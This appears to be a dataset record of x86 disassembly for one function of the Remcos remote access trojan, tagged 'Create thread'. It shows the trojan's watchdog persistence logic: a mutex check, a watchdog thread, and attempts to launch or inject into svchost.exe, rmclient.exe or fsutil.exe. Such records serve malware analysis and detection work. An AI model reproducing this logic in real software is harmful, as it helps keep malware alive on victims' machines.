Function at 0x410f36
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov ebx, 0x4742f8
push 0x466634
mov ecx, ebx
call fcn.00401e8f
mov edx, eax
call fcn.004127d5
pop ecx
pop ecx
test al, al
je 0x411244
mov ecx, 0x474430
call fcn.00401e8f
push eax
xor edi, edi
push edi
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x411014
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x18
mov ecx, esp
push str.Remcos_restarted_by_watchdog_
call fcn.00401f66
sub esp, 0x18
mov esi, 0x465454
mov ecx, esp
push esi
call fcn.00401f66
call fcn.0041a686
add esp, 0x18
mov ecx, esp
push str.Watchdog_module_activated
call fcn.00401f66
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00401f66
call fcn.0041a686
add esp, 0x30
push edi
push edi
push edi
push 0x411637
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0x10]
mov esi, 0x46b734
push eax
push esi
mov ecx, ebx
call fcn.00401e8f
mov edx, eax
call fcn.004124b7
pop ecx
pop ecx
test al, al
jne 0x411250
jmp 0x411244
lea ecx, [esp + 0x50]
call fcn.00401faa
mov ecx, 0x4742e0
call fcn.00401e07
lea edx, [esp + 0x50]
mov ecx, eax
call fcn.0041b61a
lea ecx, [esp + 0x38]
call fcn.00401e52
call fcn.0041b15b
test al, al
jne 0x41109c
push 0x46b738
lea ecx, [esp + 0x84]
call fcn.00403b40
push eax
push str.WinDir
call fcn.0043ac0f
pop ecx
push eax
lea ecx, [esp + 0x70]
call fcn.00403b40
mov edx, eax
lea ecx, [esp + 0x24]
call fcn.00402860
pop ecx
push eax
lea ecx, [esp + 0x3c]
call fcn.00401e18
lea ecx, [esp + 0x20]
call fcn.00401e13
lea ecx, [esp + 0x68]
call fcn.00401e13
lea ecx, [esp + 0x80]
jmp 0x4110f2
push str.SysWOW64_
lea ecx, [esp + 0x24]
call fcn.00403b40
push eax
push str.WinDir
call fcn.0043ac0f
pop ecx
push eax
lea ecx, [esp + 0x70]
call fcn.00403b40
mov edx, eax
lea ecx, [esp + 0x84]
call fcn.00402860
pop ecx
push eax
lea ecx, [esp + 0x3c]
call fcn.00401e18
lea ecx, [esp + 0x80]
call fcn.00401e13
lea ecx, [esp + 0x68]
call fcn.00401e13
lea ecx, [esp + 0x20]
call fcn.00401e13
lea ecx, [esp + 0x14]
call fcn.0040e8f6
push str.svchost.exe
lea ecx, [esp + 0x24]
call fcn.00403b40
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x18]
call fcn.004116c6
lea ecx, [esp + 0x20]
call fcn.00401e13
push str.rmclient.exe
lea ecx, [esp + 0x24]
call fcn.00403b40
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x18]
call fcn.004116c6
lea ecx, [esp + 0x20]
call fcn.00401e13
push str.fsutil.exe
lea ecx, [esp + 0x24]
call fcn.00403b40
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x18]
call fcn.004116c6
lea ecx, [esp + 0x20]
call fcn.00401e13
lea ecx, [esp + 0x14]
call fcn.004020b4
test eax, eax
je 0x4111b9
push 0x471dac
lea ecx, [esp + 0x54]
call fcn.00401e8f
push edi
lea ecx, [esp + 0x1c]
mov esi, eax
call fcn.00401d64
mov ecx, eax
call fcn.00401e07
mov edx, esi
mov ecx, eax
call fcn.00417245
pop ecx
test al, al
jne 0x41120b
lea ecx, [esp + 0x14]
inc edi
call fcn.004020b4
cmp edi, eax
jb 0x41117c
sub esp, 0x18
mov ecx, esp
push str.Watchdog_launch_failed_
call fcn.00401f66
sub esp, 0x18
mov ecx, esp
push 0x4653b8
call fcn.00401f66
call fcn.0041a686
add esp, 0x30
push dword [0x471dbc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.0041173c
lea ecx, [esp + 0x38]
call fcn.00401e13
lea ecx, [esp + 0x50]
call fcn.00401eea
push 3
pop eax
jmp 0x411247
sub esp, 0x18
mov ecx, esp
push str.Watchdog_module_activated
call fcn.00401f66
sub esp, 0x18
mov ecx, esp
push 0x465454
call fcn.00401f66
call fcn.0041a686
add esp, 0x30
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x471db4]
jmp 0x411279
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push dword [esp + 0x10]
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push esi
mov ecx, ebx
mov dword [0x471dac], eax
call fcn.00401e8f
mov edx, eax
call fcn.00412902
pop ecx
mov ecx, dword [esp + 0x10]
call fcn.0041127f
int3